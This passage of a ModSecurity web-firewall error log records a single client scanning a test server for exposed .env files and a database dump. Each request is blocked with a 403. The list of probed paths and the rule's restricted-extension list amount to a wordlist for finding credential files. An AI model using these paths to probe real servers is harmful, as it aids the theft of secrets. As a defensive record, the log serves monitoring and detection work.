[Mon Jul 28 20:46:08.696533 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docs/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjoAAAAAc&quot;]
[Mon Jul 28 20:46:08.696692 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docs/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjoAAAAAc&quot;]
[Mon Jul 28 20:46:08.716736 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dodoswap-client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dodoswap-client/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjoQAAAAc&quot;]
[Mon Jul 28 20:46:08.716935 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dodoswap-client/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjoQAAAAc&quot;]
[Mon Jul 28 20:46:08.717117 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dodoswap-client/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjoQAAAAc&quot;]
[Mon Jul 28 20:46:08.737361 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dotfiles/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dotfiles/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjogAAAAc&quot;]
[Mon Jul 28 20:46:08.737539 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dotfiles/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjogAAAAc&quot;]
[Mon Jul 28 20:46:08.737693 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dotfiles/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjogAAAAc&quot;]
[Mon Jul 28 20:46:08.757683 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /download/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/download/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjowAAAAc&quot;]
[Mon Jul 28 20:46:08.757861 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/download/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjowAAAAc&quot;]
[Mon Jul 28 20:46:08.758016 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/download/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjowAAAAc&quot;]
[Mon Jul 28 20:46:08.778017 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /downloads/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/downloads/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjpAAAAAc&quot;]
[Mon Jul 28 20:46:08.778209 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/downloads/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjpAAAAAc&quot;]
[Mon Jul 28 20:46:08.778399 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/downloads/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjpAAAAAc&quot;]
[Mon Jul 28 20:46:08.798412 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /drupal/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/drupal/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjpQAAAAc&quot;]
[Mon Jul 28 20:46:08.798600 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/drupal/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjpQAAAAc&quot;]
[Mon Jul 28 20:46:08.798759 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/drupal/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjpQAAAAc&quot;]
[Mon Jul 28 20:46:08.818560 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjpgAAAAc&quot;]
[Mon Jul 28 20:46:08.818832 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjpgAAAAc&quot;]
[Mon Jul 28 20:46:08.818980 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjpgAAAAc&quot;]
[Mon Jul 28 20:46:08.838840 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /e2e/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/e2e/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjpwAAAAc&quot;]
[Mon Jul 28 20:46:08.839028 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/e2e/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjpwAAAAc&quot;]
[Mon Jul 28 20:46:08.839180 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/e2e/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjpwAAAAc&quot;]
[Mon Jul 28 20:46:08.859127 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /en/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/en/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjqAAAAAc&quot;]
[Mon Jul 28 20:46:08.859299 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/en/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjqAAAAAc&quot;]
[Mon Jul 28 20:46:08.859464 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/en/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjqAAAAAc&quot;]
[Mon Jul 28 20:46:08.879378 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /engine/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/engine/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjqQAAAAc&quot;]
[Mon Jul 28 20:46:08.879536 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/engine/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjqQAAAAc&quot;]
[Mon Jul 28 20:46:08.879690 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/engine/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjqQAAAAc&quot;]
[Mon Jul 28 20:46:08.961748 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /env/dockers/mariadb-test/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/dockers/mariadb-test/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjrQAAAAc&quot;]
[Mon Jul 28 20:46:08.961930 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/dockers/mariadb-test/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjrQAAAAc&quot;]
[Mon Jul 28 20:46:08.962077 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/dockers/mariadb-test/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjrQAAAAc&quot;]
[Mon Jul 28 20:46:08.982273 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /env/dockers/php-apache/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri 